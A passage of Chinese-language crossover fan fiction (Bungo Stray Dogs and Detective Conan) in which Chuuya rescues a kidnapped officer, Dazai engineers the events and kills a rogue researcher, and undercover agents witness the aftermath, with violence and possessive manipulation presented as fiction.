长相文弱的金发男人走了进来,看着身体应该不好,动作迟缓,身上穿着白大褂,像是医生一类的职业。
先前神色阴鸷的金大郎见到自顾自闯进来的青年只是微微皱了皱眉,没有说话。
等到青年快走到他眼前才为他拉开他下首的椅子:“你怎么来了?”
殷勤,但没殷勤到位。
青年也没在意金大郎的动作,自然地坐在了金大郎的位置上。
一眼就能看到底的蠢货。
金大郎收回手,压下心里的不满。
眼前的男人是前几天突然出现的,说是要找到杀死自己哥哥的凶手,是个鹰国人,叫安德烈。
比他手底下那些没脑子的人好用多了,还帮他当上了少东家。
照理来说,男人算是他的下属,但他就是觉得眼前的男人有点邪性,除非必要不会找他。
“不知道,我现在去查。”金大郎谨慎道。
“直接放出风声,就说,”安德烈轻笑了一声,诡谲阴冷,“夜色失踪了不少人。”
金大郎想说点什么,安德烈看了他一眼。
“有什么问题吗?”他笑道,“我说假话了吗?”
“没有。”安德烈有些僵硬地摇了摇头。
泥惨会一直在跟一个神秘组织做交易,什么都做,但大头是人口买卖,也不知道那个组织要那么多人做什么,但这件事属于泥惨会的机密。
连他都是当上少东家后才知道的,这个鹰国佬是怎么知道的?
得了指令,金大郎就逃似的走了。
“比安德森还要蠢的蠢货。”
他下了定义。
安德森不算是钟塔侍从的核心人物,做的也就是跟黑衣组织交接一类猪都能做的事情。但这份工作不是谁都能做的,安德烈就是他的靠山。
安德烈是研究员,参加过多年前的欧洲异能政府人造异能者的实验,欧洲异能政府分裂后被钟塔侍从吸纳,偷渡到了这个世界继续他的研究。
为了保护他的废物哥哥安德森,这个世界没人知道他跟安德森之间的关系。他本身也没多在乎安德森,但安德森死了就是在打他的脸。
安德烈可不相信安德森的死是一场意外,他虽然废物了点,好歹是个异能者,更何况他才跟安德森要过一次实验素材。
素材还没到呢。
很少有人知道,安德森的异能是转移。
只要得到目标的准确坐标,他就可以将目标转移到另一个坐标,甚至可以跨世界。
只不过异能的冷却期实在是太长了,足足有一年。
不然安德森也不至于年近40也才是个边缘人员。
这次他要的素材是里世界近来名声鹊起的重力使——中原中也。
为了中原中也,他甚至专门准备了一个实验笼。
一个N的失败品而已。
“我才是真理,神只会是我创造出来的。”安德烈眼里满是狂热。
他没有注意到,房间外一个衣角掠过去了。
衣角的主人正是松田阵平,萩原研二去泥惨会的其他地方搜集资料去了。
松田阵平和萩原研二被中原中也拒绝后一直没有放弃追查。
研究资料根本没有准确的人名,有的只有编号。
这么详尽的数据需要大量的人体实验堆出来,上面的每一条数据都是人命。
他们只能尝试笨办法,将近几年失踪的人数一一列举出来,圈出人数频率最高的地区,再调查附近的地头蛇势力。
泥惨会就是其中之一。
这其实是相当莽撞的行为,几乎是将自己的性命置之不理。
这种事情背后往往藏着更为强大深厚的势力,而他们就算查出来了也可能是徒劳一场,甚至性命难保。
“我说的你们一句话都没听进去!”中原中也血压高升。
他难得在除太宰治以外的人感受到这种
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程度的无力。
松田阵平和萩原研二是主动来找中原中也和太宰治的。
这是他们经过深思熟虑后的决定。
他们对这件事情背后盘根错节的势力一无所知,而中原中也是最好的突破口。
更甚者,他已经在局中了。
松田阵平没忍住看了一眼坐在光下的橘发少年。
被瞪了。
“孤身一人闯黑涩会?”中原中也生气。
一旁坐着的萩原研二眼观鼻鼻观心,没说话。
松田阵平磨了磨牙,只用一秒就决定将幼驯染拉下水。
“是两个人。”松田阵平补充。
中原中也视线扫到一边的萩原研二。
萩原研二默默放下手上喝水的杯子。
能让中原中也发火的事情很少,一般集中在太宰治身上。
他们是因为中也才被牵扯进这件事,如果他们出了什么差错……
原本事不关己的太宰治站起身来状似路过:“据说泥惨会总部的守卫森严,有人路过都被人带走拷问了,最后只有一具尸体被扔出来。”
中原中也眉心的褶皱更深,蓝眸也越发严肃。
“小中也……”萩原研二有口难言。
“还有尸体挂在外面墙上示众的。”太宰治继续道。
中原中也脸色更差了。
下首坐着的俩个更加安静:汗流浃背了。
太宰治还想再说点什么,好在被中也制裁了:
“混蛋太宰,你闭嘴。”
太宰治嫌弃:“咦,中也不识好人心。”
中原中也无语。
松田阵平和萩原研二的观察力都极为敏锐,他们都没有错过在提起“神”时中原中也脸上的迟疑,反倒是太宰治脸上的表情一直没什么变化。
原本压下的猜测重新在他们心里翻涌起来。
他们的选择真的是正确的吗?
送别警官二人组后,中原中也转过头看向太宰治。
“跟那件事有关吗?”中原中也问得含糊。
这也是你计划中的一部分吗?
“是计划之外。”太宰治将头搭在中原中也的脖颈处,“不过我会解决的。”
“中也只要安安分分地待在这里就好。”
太宰治呢喃。
中原中也轻嗤:“混蛋太宰,你是不是太小看我了?”
“是呀,毕竟中也只是没有脑子的肌肉笨蛋嘛。”
在中原中也看不到的视角里,太宰治的眸子半点笑意也无。
冷得瘆人。
看来计划要早点提上日程了。
24.第 24 章
今天是休息日,米花町街上很热闹。
“难得没有案件发生的一天呢。”说话的小少年双手抱在脑后,脚下步伐随意却紧紧跟着身边的女孩,眼角余光不时瞥上一眼。
“是新一你难得没有遇见案件啦。”女孩弯着眸子,并没有注意到小少年的小动作。
工藤新一原本昂扬的动作顿了顿,腰也弯了下来,好像被生活压弯了:“哈哈。”
他干笑两声。
工藤新一也不想的,但他每次跟小兰出来约会就会遇到各种各样的案子,偶尔一次当然没关系。
只不过他们现在这个频率是不是有点太高了?!八天遇见了18件案子!
今天应该不会发生什么事吧?千万不要啊!
工藤新一摇摇头,试图把自己脑子的可能性删掉。
命运总是不如人意的。
“新一,你看那是不是前几天见过的萩原警官?”毛利兰侧过头,视线越过工藤新一落到一旁的小巷子里。
他们这几天出门经常遇到案子,跟搜查一课的警官已经完全熟络起来了,其中萩原研二和他们的关系最好。
工藤新一还没转过身去,就听见毛利兰低声道:“新一,我觉得有点不对劲。”
巷子口三个酒鬼相互搭着肩,一边摇摇晃晃地走一边高声唱着不成调的歌,大白天喝得烂醉要换个地方继续喝。
如果其中一个不是萩原研二的话。
毛利兰相信萩原警官绝不是这样的人。
最近他们遇见的案子实在是太多了,搜查一课的佐藤警官有特别关照过她,教了她很多。
其中关于遇到犯罪现场时该怎么做是其中的重点。
“新一,不要转过去,看着我。”毛利兰低声道,视线也慢慢移到工藤新一脸上,只有一点眼睛余光依旧关注着巷子口的人。
“怎么了?”工藤新一觉察到不对劲,顺从地低下头。
“那边的两个人在架着萩原警官走,萩原警官现在应该已经失去意识了。”毛利兰语速极快地低声说道。
毛利兰刚转过视线,原本正搭着萩原研二的人猛地抬头扫视一圈,被另一边的人低声骂了一句:“蠢货,抬什么头?!”
“好像有人看我们。”那个抬头的人没理,继续扫视,视线定在不远处的小情侣身上。
男生好像惹了旁边的女生生气,正弯着腰哄人,女生则瞪着男生。
看着正常极了。
“应该是我看错了。”抬头的那人嘟囔了一下。
“那还不快走!”另一个低声吼了一句,“要是迟到了,看你怎么跟琴酒大人交代。”
两人加快脚步。
“小兰报警。”
“新一报警。”
工藤新一和毛利兰几乎是异口同声。
最后还是毛利兰报的警。
“发生了什么事?”突如其来的声音吓了两人一跳,橘发少年站在他们中间,就像是突然冒出来的一样。
工藤新一看见中原中也原本焦虑的情绪忽然就冷静下来。
他对中原中也并不是很熟悉,不过听老爸提起过,如果有什么事情可以找他寻求帮助。
“是个很可靠的人。”他爸是这么说的。
工藤新一长呼一口气:“中原哥哥,萩原警官好像被人绑架了。”
中原中也脸色一肃:“你们有看到他们往哪走了吗?”
“那边,”工藤新一指了方向就想跟着中原中也一块去追查,被中原中也拦了下来,“你们现在在这等着,不要乱跑,等警察过来。”
说完,中原中也就不见了,只留毛利兰和工藤新一怔愣在原地。
中原中也本来是要去夜色的。
今天,他在信箱收到一封威胁信。
信的内容很简单,难得地没有谜语。
“我知道你在追查那件事,如果你想要你的警察朋友好好的,就前往这个地方。”
随信附上的正好就是夜色的地址。
“中也是想要过去吗?”太宰治是和中原中也一起看到这封信的,“是陷阱也要过去吗?”
他笑眯眯地问。
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“对。”中原中也干脆利落地点了头。
“真是拿中也没办法。”太宰治揉了揉头发,语气里尽是无奈,“那么,按照这条路线走吧。”
“中也会得到线索的。”
中原中也从太宰治那里拿到了一份地图,路线正好到他遇见毛利兰和工藤新一的位置打止。
还真是得到线索啊。
中原中也嘴角微抽。
他顺着工藤新一指的方向闪身走了,正好错过从小巷里钻出来的太宰治。
“嗨嗨嗨!”太宰治心情愉悦地跟青梅竹马打了个招呼,“小新一在跟喜欢的女孩子约会吗?”
“太宰哥哥!”工藤新一打断太宰治,脸上的红晕快要溢出来了。
毛利兰则完全没有注意到工藤新一脸上的变化,她脸上满是担忧。
“是在担心刚刚过去的小矮子吗?”太宰治脸上的笑意更浓,“不用担心哦,他不会出事的。”
“不过谢谢你们了。”
说完这句话后,太宰治就朝他们摆了摆手离开了。
就好像,他过来只是为了说这几句话一样。
毛利兰定定地看着穿烟色风衣的男人走进方才的小巷中,一点一点被黑暗吞噬,直到最后一点烟色也看不见才被工藤新一喊了回来。
“小兰,你在看太宰哥哥吗?”工藤新一的视线跟着毛利兰一起看着太宰治。
“啊嗯,”毛利兰点头,“感觉有点奇怪。”
“我们跟上去看看……”
“你想跟到哪去?”佐藤警官不知道什么时候到了他们身后,一手揪着工藤新一的耳朵。
好了,现在是真的跟不上了。
工藤新一哭丧着脸。
而刚刚走进巷子里的太宰治则到了原本中原中也的目的地——夜色前。
脚步轻快,嘴上还哼着歌。
“一个人是不能殉情的,要两个人才可以。”
“下水道里的蟑螂爬了出来,要杀虫剂杀掉才行。”
哼着歌的太宰治脚步停了下来:“对吧?”
25.第 25 章
中原中也很急。
世界上的黑手党手段都大差不差,他比谁都知道黑/手党那群人的手段,晚到一秒都会给他们带来难以估量的伤害。
尤其是萩原研二和松田阵平都还是警察。
黑/手党可不讲什么道理。
中原中也隐隐有些后悔。
他不应该将那些文件交给他们的。
风声在他的耳边呼啸,他的视线迅速扫过周边,企图找到萩原研二的踪迹。
很可惜,一无所获。
中原中也极速地喘了几口气,高强度的战斗和高强度的赶路所耗费的精力是不一样的。他还没学会如何精确地控制自己的异能使他能够用最小的体力消耗来完成最大限度的任务。
更何况,这个世界是没有异能的,他的异能受到了一定限度的压制。
不多,但在这时候格外烦人。
不行,他需要交通工具。
中原中也停了下来,视线落在郊区的一片空地上。
那里停着一辆崭新的机车,与周围格格不入。
中原中也眉眼间闪过几分好笑,原本焦急的心情有所缓解。
机车和中原中也常用的那一辆一模一样,上面挂着一个小小的牌子,是太宰治的字迹:
小狗的车。
翻过面来,上面还有另一行字:
中也,用重力碾碎他们!
中原中也的眼神沉了下去,里面尽是锋锐。
“混蛋太宰,那就再听你一次。”
机车飞驰,铺天盖地的红光覆盖了这里的每一寸土壤。
郊区废弃厂房。
萩原研二双眼被黑暗笼罩着,他手微微动了动,是被捆住的状态,耳朵只能模模糊糊听到一点声音。
“外面怎么了?怎么开始摇起来了?”有人惊恐。
“慌什么?”说话的是一道女声,冷静极了,“人来了吗?”
“回贝尔摩德大人,还没看到。”说话的人明显是女人的下属,语气谄媚极了。
她应该就是这的主事人。
萩原研二没有急着动,而是继续佯装自己还在昏迷,被绑着的手指微微动了动。
庆幸他有小阵平这个做拆爆警的幼驯染,带着他身上也习惯随身带着刀片。
摸到了。
萩原研二悄悄松了口气,没被发现。
接下来就是等待时机。
“给那边打个电话,问问他们,”贝尔摩德扫了一眼状似还昏迷着的年轻警察,眼里闪过几分怜悯,“要是他们那也没看见中原中也,我们就再等等。”
“是。”下属应了一声。
萩原研二听到熟悉的名字,心下一惊没忍住屏了一下呼吸,很快就恢复如常。
好在,他们好像没有注意到他。
小中也,千万不要来啊。
萩原研二在内心祈祷着。
上帝没有听见他的祈祷,中原中也找到这里了。
“把人交出来!”
— —
夜色。
“我没想到找到这里的会是你。”说话人像是躲在暗处的蛇一样,阴冷诡谲。
“你以为会是那个黑漆漆的小矮子吗?”太宰治语调也冷了下来,鸢色的眸子像是无机质的琉璃珠,定定地看向来人。
他的眼神不像是在看人。
“除了你以外的人在你眼中都不算人吗?”安德烈捏着下巴思考着,带了些学者的探究。
他看向太宰治时的眼神也并不像是在看人。
太宰治摇头,嘴角弯起:“明明是在你眼中,其他人都不算人,不要随便甩锅给我,怪恶心的。”
安德烈被说破也没有恼羞成怒,眼神专注了一点,若有所思:“你好像很适合做研究。”
“我才不要弄成你这种不人不鬼的样子!”太宰治拒绝,语调轻快。
“那就只能我一个人去研究那个失败品了。”安德烈遗憾。
“你说谁是失败品?”太宰治的嘴角下拉。
安德烈好像恍惚察觉到眼前青年对那个失败品的在意,于是他微笑着重复了一遍:“中原中也,那个N的失败品。”
“你要和我一起来吗?我有预感,我们应该会很合拍。”安德烈嘴角抑制不住地上扬,眼里满是狂热,“我们可以将那个少年
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切开看看里面是不是真的和人类一样,当然,不能把他弄死了。我有医生执照,可以把他再缝合……”
“啊,我想了想,还是请你去死吧。”
他的话被太宰治打断,安德烈脸上的狂热忽然褪了下来,披上了一层冷静的皮:“是你杀了我哥哥吧?”
太宰治没理他,而是重复了一遍他的话:“请你去死听清楚了吗?”
安德烈脸上困惑极了,他几乎环视一周。
小巷里都是泥惨会的人他们每一个都端着枪,不远处的大楼上还有一个狙击手随时准备应对特殊情况。
甚至甚至,他身边还跟着一个钟塔侍从用来保护他的异能者。
没有一点疏漏。
安德烈近乎好笑地反问他:“你不会在等那个失败品来救你吧?”
“不,”太宰治看着冷静极了,安德烈却从他身上看出来一点端倪,“公主等着王子来拯救的剧情已经落伍了,现在流行的是公主拿起宝剑杀死恶龙拯救王子。”
“你的心脏病要发作了,你听见哥哥的死讯太过悲伤,然后,心脏病发,死掉了。”
太宰治近乎预言一般。
安德烈还想笑,随后他惊恐地发现:
他的心口不断地涌出悲痛,早就失去的眼泪争先恐后地涌了出来,心脏好像被一双大手握紧。
疼。
他说不出话。
他死死盯着太宰治,像是在用自己最后的力气来诅咒青年,但青年没有分出一点眼神给他。
烟色风衣的青年原本只是百无聊赖地垂着头,随后如有所感好像看见了什么很有趣的事情,眸子都弯起来了,得意洋洋。
“中也。”
机车的轰鸣声来得突然,就像原先还好好站着的安德烈死得突然一样。
在场的人可不是直属于安德烈麾下,跟他可没什么下属情,因此也没第一时间把在场的另一个人杀了,等他们反应过来后,黑发青年已经杀不掉了。
他们也走不了了。
“把他们都杀了吧。”太宰治的话甜蜜蜜的,落到其他人耳中就是平地起惊雷。
“知道了。”
26.第 26 章
为什么要来呢?
太宰治笑着,他看着这场血腥盛宴。
他目光追随着在手持枪械的杀手中间穿梭的娇小身影上,显得更为脆弱的反而是那些杀手。
中原中也每一步,都有人死去。
不是没人想要反抗,他们手上都握着枪,只不过他们射出的子弹最后都没入了自己的身体之中。
再无人敢反抗。
眼前之人犹如神明降世,他是战场的统治者,无人再能升起反抗之心。
如此耀眼,如此遥远。
“为什么呢?”
此时此刻浮现在太宰治眸中的是纯然的困惑。
萩原研二的踪迹是他传出去的,信是他放的,也是他刻意引走中也的。
就连中也来时遭遇的那场爆炸也是他刻意放任的。
为什么要来呢,中也?
你已经知道我们不再是搭档了,我已经叛逃了,为什么十七岁的你还是愿意过来呢?
中也,你明知道我不会有事的。
为什么呢?
太宰治全神贯注地看着中原中也,好像对身后的危险无知无觉。
“喂,混蛋太宰,躲开!”中原中也瞪大眼睛,随手抄起身边的人扔了过去。
空间如水波纹一般颤抖着,一个棕发女人从中穿梭而出,金色的眸子像是蕴含着某种法则。
她是钟塔侍从派来保护安德烈的人,她能够带着安德烈穿梭时空。
太宰治面对这突如其来的变故似乎早有预料,只是微抬了抬眉:“美丽的小姐你好,是有什么事情想要我帮忙吗?”
那女人没说话,举起手上的刀就要劈下。
“噗嗤——”
是刀没入□□的声音。
温热的血溅到了太宰治脸上,血色伴着太宰治脸上的笑,有一种莫名的诡谲。
“哎呀,美丽的小姐怎么能这么不小心呢?”
女人的刀最后刺进了自己的身体中,她震惊地看着眼前的黑发青年,瞳孔放大,她想发动异能。
太宰治握住了她的手。
发动不了,就算是转移位置也不行。
女人剧烈地挣扎着,想要离开这个邪性的青年。
“不要这么着急嘛,美丽的小姐。”太宰治声音像是叹息一样,手上力气却丝毫没有收敛。
刀再一次没进了女人的身体,整刀没入。
“手上都是血了,这身衣服都不能要了。”太宰治语气寻常,他懊恼着,“早知道应该穿那件黑色的衣服。”
中原中也的脚步顿了一下,随即冲到太宰治面前:“你没事吧?”
“有事,”太宰治拉着中原中也的手可怜兮兮,“衣服弄脏了,好难过。”
中原中也脸上神情变换,最后定格在无语上:“回去重新买一件,我出钱。”
“中也好好哦。”太宰治双手捧心,视线扫过中原中也藏着橘发下面泛红的耳垂,脸上笑意更甚。
“混蛋,给我闭嘴。”中原中也压了压帽子,也因此错过了太宰治眸中深沉的落寞。
中原中也正在对现场成堆的尸体发呆,这里不是横滨,是个法治还算健全的社会,这么多尸体要怎么销毁?
“会有人过来的哦。”太宰治嘴角微扬。
这只是一场试探而已,会有人过来收尾的。
不管是那群藏头露尾的蟑螂,还是纯洁如“白花”的钟塔侍从。
安德烈不过是他们一块推出来的弃子。
多年前就停止的实验,哈,不过是挪到了这个世界而已。
太宰治看着中原中也,脸上蔓出笑。
“噗——”
太宰治吐了一口血出来。
“喂,太宰,”中原中也接住将要倒下的太宰治,“你怎么了?”
“使用了不属于自己的力量是要付出代价的。”太宰治脸上还笑着,丝毫没有痛苦的神色,反而带了些心满意足。
中原中也气笑了:“笑屁啊。”
太宰治没说话,只是看着中原中也笑。
笑意蔓延到脸上,眼里却红了。
“中也为什么要过来救我啊!”太宰治说出口的是此前无数次的随口抱怨,“这样我就可以心满意足地死掉啦!”
“难道不是你这家伙让我过来救你吗?”中原中也瞪着太宰治,“你给我送机车不就是想让我过来接你吗?”
太宰治满脸无辜,他大声嚷嚷:“我才没有!是中也自作多情,怎么可能需要中也来救我!”
他们就这么斗着嘴,好像又回到了很久之前。
太宰治突然抱住中原中也的脖子,头紧紧埋在他的颈窝。
反噬来得凶猛,不属于他的力量在他体内乱窜。
这股能量不是异能,不能被人间失格消除。
太宰治盯着中原中也的脖子,莹白的,像玉一样。
强行压下的阴暗好像又重新爬了出来。
为什么要给中也选择呢?为什么要心软呢?囚禁他,就算中也不愿意也没关系,就算中也讨厌他也没关系……
中原中也没说话,他回抱住了太宰治。
太宰治身体僵住了,他眨了眨眼,眼前逐渐模糊。
最讨厌中也了,明明只要按照他的计划走就好了,为什么老是要来扰乱他的计划!
温热的液体落在中原中也的衣服上,一滴两滴。
中原中也看了看天空,可能是下雨了吧。
最后太宰治是被中原中也抱上机车的,脸埋在中原中也怀里,就算腿快要拖地也没有抬头。
他难得感到羞耻。
居然抱着小矮子哭出来了,真讨厌。
反噬还没过去,太宰治嘴里满是腥甜,他趴在中原中也身上,没骨头一样,温热的呼吸打在中也的脖子上,带起一片红。
太宰治懒洋洋道:“中也好敏感哦。”
中原中也无语地翻了个白眼,没搭理正在发神经的太宰治,机车的速度又上了一个台阶。
“脸疼。”太宰治含糊着。
“自己拿风衣挡着。”中原中也的声音顺着呼啸的风传到太宰治耳朵里。
机车却速度慢了下来。
“中也不是猜到我想要干什么了吗?为什么还要来留下来?”太宰治大声喊。
“谁知道你一天到晚都在想什么啊?”中原中也毫不客气回怼过去,“我想留就留了。”
太宰治沉默了一瞬:“哦。”
声音很小很轻,但就是被中原中也捕捉到了。
他的眼角余出一点笑意。
太宰治在这场事件中到底出于什么位置,没人知道。
甚至许多参与进
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来的人都不知道自己曾经参与过太宰治的计划。
就连被太宰治要挟着为他做事的贝尔摩德也只是他其中计划的一环。
贝尔摩德难得忧愁,这次行动她是总指挥,结果不光人没抓到,还将重要的研究员给弄死了。
她强忍着嘴角的笑意,一瞬间不得不想起许多难过的事情。
她早就看那个安德烈不顺眼了,所有人在他眼中只是实验小白鼠,要不是有Boss在,他早就被弄死八百遍了。
“贝尔摩德,你对这次任务的失败有什么想法吗?”
一道分不清男女老少的声音响起,是合成的机械音。
贝尔摩德是那位先生最宠爱的人,地位超然,很少出这么大的纰漏,不少人都兴致勃勃看她的热闹,只不过碍于Boss还在现场不好太过明目张胆,只是窃窃私语。
贝尔摩德好像没听到那些窃窃私语,眉眼尽是自责肃穆,她主动将事情揽到自己身上:“是我布局指挥问题,请您责罚。”
十分有十二分的忠诚。
机械音依旧听不出情绪:“既然如此,那你这个月就不用接任务了,好好休息一段时间。”
不儿,你这是惩罚还是奖励啊?
要是朗姆那种手上握着实权,内心也热爱权势的人,或者琴酒那种劳模,一天不做任务浑身不舒服的人,这个惩罚还能算是惩罚,放贝尔摩德身上……
惩罚?
所有人都不说话了,都看着贝尔摩德,等待着她的反应。
贝尔摩德也有些意外,Boss好像没有想象中那么在乎这个任务的成功与否。
她恭顺地垂下头:“是。”
隐在在场众人中的安室透和苏格兰对视一眼达成了某种默契。
散场后,他们各自分离,开车驶往截然相反的方向,随后在东京湾汇合。
苏格兰是安室透的幼驯染,真名诸伏景光,和安室透一样是潜伏在组织的卧底。
他们在这次任务中负责的任务部分不同,而时间太紧,直到任务结束他们才有时间进行信息互换。
苏格兰是这次行动的狙击手之一,他架着枪守在楼顶,直到那个研究人员死了,他都没有收到动手的信号也没有收到撤退的信号。
他看完了全过程。
那个少年杀人的全过程。
这是一场血腥的盛宴,是极致的□□美学。
现场一地狼藉,尸体随意地堆在地上,那个少年站在唯一的干净空地上,好像察觉到了遥遥投来的视线,回首望去。
正好与苏格兰对上视线。
苏格兰如坠冰窟。
那只是一个孩子。
“苏格兰,撤。”耳返里传来琴酒的声音,苏格兰最后看了一眼少年。
这时对上视线是另一个人了。
“是你啊。”那个黑发青年微笑着,“警官先生。”
诸伏景光压下心中的隐隐泛起的不安,只说了前面一段。
没成想,zero脸色也逐渐怪异起来。
“是怎么了吗?”诸伏景光迟疑着问。
“我今天见到萩原了。”降谷零深吸一口气,“他被组织绑架了,为的就是引出一个少年。”
“他救下了萩原。”
他没说出口的是,他们今天见到的少年可能是同一个。
27.第 27 章
这注定是一个不眠之夜。
不管是对卧底的降谷零和诸伏景光,还是成为人质后被救回来的萩原研二。
萩原研二因为被看守着,并没有见证过程,但是降谷零就不一样了,他完完整整看完了中原中也动手的整个过程,多年的科学价值观接近破碎。
不管是随着橘发少年行动而飞扬起来的各种物体,还是与他交手时那强悍到不正常的力量。
那个少年甚至可以一拳打碎墙壁。
正常来说,他作为一个情报人员是不会掺和进战斗的,但不知道贝尔摩德怎么想的,把他塞到了战斗人员行列里。
好在她虽然把他塞进了战斗人员行列,但没怎么关注他,不然他也不能这么顺利地将萩原研二的小刀片给藏回去。
降谷零毫无睡意。
要是那个救下hagi的少年真的是景光口中的少年……
理智与情感在疯狂撕扯着降谷零。
另一边,虽然没有见识到中原中也力量的萩原研二,但他同样在想中原中也。
萩原研二躺在床上,身边是被薅来的松田阵平。
中原中也救下萩原研二后将他送到了安全的地方,正好碰上赶来的松田阵平。
萩原研二被人从背后射了一枪,不是实弹,是麻醉枪。
松田阵平见到萩原研二时,他正处于昏迷状态,难得苍白脆弱。
他看着病床上的人眸光沉沉。
医生过来了一趟,他说:“没什么大事,睡一觉就好了。”
医生说完,一直板着脸的松田阵平脸上才舒展了些。
松田阵平当着萩原研二的面什么也没说,只是在避开萩原研二时神色郑重地跟中原中也道谢。
“谢谢你救了研二,如果你有什么需要帮忙的事情,尽管找我。”松田阵平的目光看向中原中也时甚至比他被中原中也救下时更加深沉。
中原中也愣了愣,脸上先是带了些歉意,被松田阵平打断。
“中也,不用道歉。”松田阵平直视着眼前的少年,他的眸子里尽是血丝,声音沙哑,“这不是你的错,中也,这是我们的选择。”
萩原研二的绑架发生昨天晚上,最开始他也没发现萩原研二的失踪,只是第二天早上他还是没看见萩原研二,松田阵平这才发觉不对。
中原中也收到那封信的时候,松田阵平已经在找萩原研二了。
他没想过将中原中也再牵扯进来。
松田阵平还记得他跟萩原研二的猜测,这次的事件好像又证实了一点。
“这不是你的错,中也。”松田阵平又重复了一遍。
中原中也恍惚间好像看到了旗会众人,他愣怔了一会随后低声道:“我知道了。”
该说不说,这对幼驯染是真的像。
萩原研二见到他的第一眼也是这么说的:
“中也,这不是你的错。”
不是我的错吗?
中原中也陷入了沉默。
他知道这件事的罪魁祸首,但他不能说出来。
中原中也的目光落在外面的机车上。
混蛋太宰,你想做什么呢?和首领一样,想让我在这里建立联系,然后留在这里吗?
中原中也是聪明的,只是这份聪明很少需要被表现出来,而当这份聪明用来解读太宰治时总是时灵时不灵。
他总是看不出来太宰治的情绪为什么会突然很好又为什么突然晴转暴雨,也分不清太宰治说的那么多话里哪句真哪句假,但他总是第一个明白太宰治藏在一切一切之下的真实目的。
太宰治也知道。
太宰治知道中原中也所有的弱点。
中也是整个港口Mafia最好对付的人,他的弱点比谁都要明显。
中原中也从来不是一个合格的黑/手党。
他心软,面对毫无利益纠葛的人总是会怀着一份好心,他会定时去孤儿院,给他们带糖果,也会帮忙扶路过的老奶奶。
见过中原中也的人很少会对他产生恶感。
中原中也是不用别人照亮自己就会发光,顺便再温暖照亮周围的人。
这样的人不会对自己的付出而因为沉没成本太过高昂而一条路走到黑,他随时有调头离开的勇气。
要想留住他,需要的不会是危及他自身的危险,而是对他身边人的危险。
就像当年的羊一样。
当年的羊能够让他妥协,现在的警官二人组也可以。
而只要他留下来的时间越长,他建立的联系就会越多。
太宰治几乎将他的谋划摆在中原中也面前,他知道中原中也看得出来。
他在赌,赌中原中也是立刻调头,还是被他一块拉进黑暗。
好在中原中也最后也没调头,而太宰治也没忍心真的让中原中也与他共沉沦。
不然,萩原研二活不下来,或者活下来他的身体也是残缺的。
这种程度的损失是不可逆的,造成的愧疚也是成倍增长的。
这才是中原中也留下来的可能性最大的方案。
“我还以为你会选择让事情按照原来的发展进行。”说话者的声音有些幼态,像是个孩子。
“嗯?”青年的声音散漫。
“如果你在小说里应该已经黑化,但你现在看起来还不错。”世界意识坦诚。
“少看点小说。”太宰治真诚建议,“黑化那是正常人应该做的事情吗?”
“你是正常人吗?”世界意识诧异。
太宰治也没生气,他肯定了世界意识:“不是。”
“不过,我还以为你会很在乎他们。”太宰治顿了顿,“毕竟你连他们的死因、时间都记得清清楚楚。”
世界意识嗓音平淡,虽然还是个孩子的声音却无端透出些沧桑:“我看过很多次了,总会死的。”
世界意识推演过很多遍,每一遍都会指向相同的结果,直到眼前的青年来到这个世界。
祂执掌着因果和时间,祂从没见过眼前这样的人。
看不见前路也看不见曾经。
只是这种程度还不够让祂破例,只不过自从眼前的青年来了之后,祂就再也推演不出未来了。
这才是祂留下他的真正原因。
虽然,祂也驱逐不了他就是了。
太宰治脸上的笑淡了下来:“我讨厌所有已知的事情,我永远不会接受。”
世界意识并不知道太宰治身上到底发生了什么,毕竟太宰治到底不是祂的居民。
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不过,他身后那坨黑红色的东西是什么?他那个世界的神吗?
等世界意识想要仔细看一眼,那个东西已经消失了。
应该是看错了吧?
世界意识最后还是没有说出来,祂说:“你可以走了吧?”
太宰治还没来得及说什么,就被扔出了世界意识的意识空间。
他走在回家的路上。
太宰治从来不是什么正常人。
他最开始没想过要救下摩天轮上的松田阵平,就算世界意识想,他放任了事态的发展。
炸弹爆炸了。
被安德森转移过来的中原中也就这么巧合地落在了将要爆炸的摩天轮车厢上。
太宰治顺着世界意识给出的线索找到了与他们仅隔了一层的安德森。
偶遇了刚被安德森骂过的藤本。
“听说坏事做尽的人总会遭报应的。”
安德森死了。
可能留下安德森给他带来的利益更大,只需要控制住他,中也就会留在这里。
可是为什么呢?
怎么可以有人伤害了中也还活着呢?
为了不让中也发现异常,吵架是一件很方便的事情。
中也怎么可以这么可爱?只需要卖卖惨,就会心软的中也。
可能是尝到了甜头,又或许是太宰治想要抓住些什么。
太宰治一遍一遍将自己和其他人放在选择的天平上,一边是他,一边是其他人,不停地往其他人上加码加码再加码。
最后等着中原中也的选择。
他就是这样的人。
他就是要把属于太宰治所有的阴暗撕开给中原中也看。
他就是要指着那撕开的心告诉中原中也:
你看,你喜欢的人就是这样的烂人。
是这样一个恶劣、冷血、多疑的人。
你要离开我吗?离开我吧。
一遍遍撕开心,一遍遍让中也看,一遍遍让中也选。
呼啸的风好像又响在他的耳畔,带着中原中也的声音。
他趴在中原中也的身上,一言不发。
“混蛋太宰,你是不是有病啊?”中原中也骂道,“松口!”
太宰治不知道发什么疯,一口咬在他的脖子上。
中原中也两只手都在开车,空不出手来收拾太宰治。
“是啊!”太宰治吼了回去,“谁会跟中也一样是条没脑子的小蛞蝓啊!”
中原中也顿了顿,很快又吼了回去。
“混蛋青花鱼,你到底在纠结什么啊?”中原中也的声音夹在风里,“你在怕什么?”
太宰治不说话。
他环住中原中也的腰,发现,他的手在颤抖,他说不出话,因为他的嗓子也在颤抖。
过了很久,太宰治才终于开口:
“中也想说的只有这些吗?”
“不然呢?”中原中也反问,“等你的伤养好了我会亲自报复回来的。”
“哦。”太宰治沉默了一瞬。
“混蛋太宰,你是我的搭档。”
有什么好怕的?
太宰治整个人都红了。
机车上,一个心怀鬼胎,一个坦坦荡荡,一个胆小鬼,一个木头。
28.第 28 章
距离上次事件过去大概有一个月了。
萩原研二和松田阵平平时都住在警察宿舍,只不过上次事件给了松田阵平极大的阴影,两人另外找了警视厅附近的租房。
搬家那天中原中也也来了。
上次事件后中原中也和他们亲近了不少,会时常过来看看他们,虽然还是对上次的事件结果闭口不提。
松田阵平状似无意地问起:“你老板呢?怎么没看见他?”
松田阵平问起太宰治时实在有些生硬却不惹人生疑。
太宰治在米花町的存在感属实不低,不是夸奖。
太宰治更多时候是以搅屎棍的状态活跃在米花町各个案子之中,每次都能够找出各种各样的无关条件,来扰乱视听。
偏偏他每次都是无辜神情。
这段时间他都没出来活跃,问起他也不算奇怪。
“太宰他之前受伤了,现在在养病。”中原中也随口道,“等他病好了我带他过来。”
萩原研二送别中原中也后回头就看见自家幼驯染正摸着下巴不知道在想些什么。
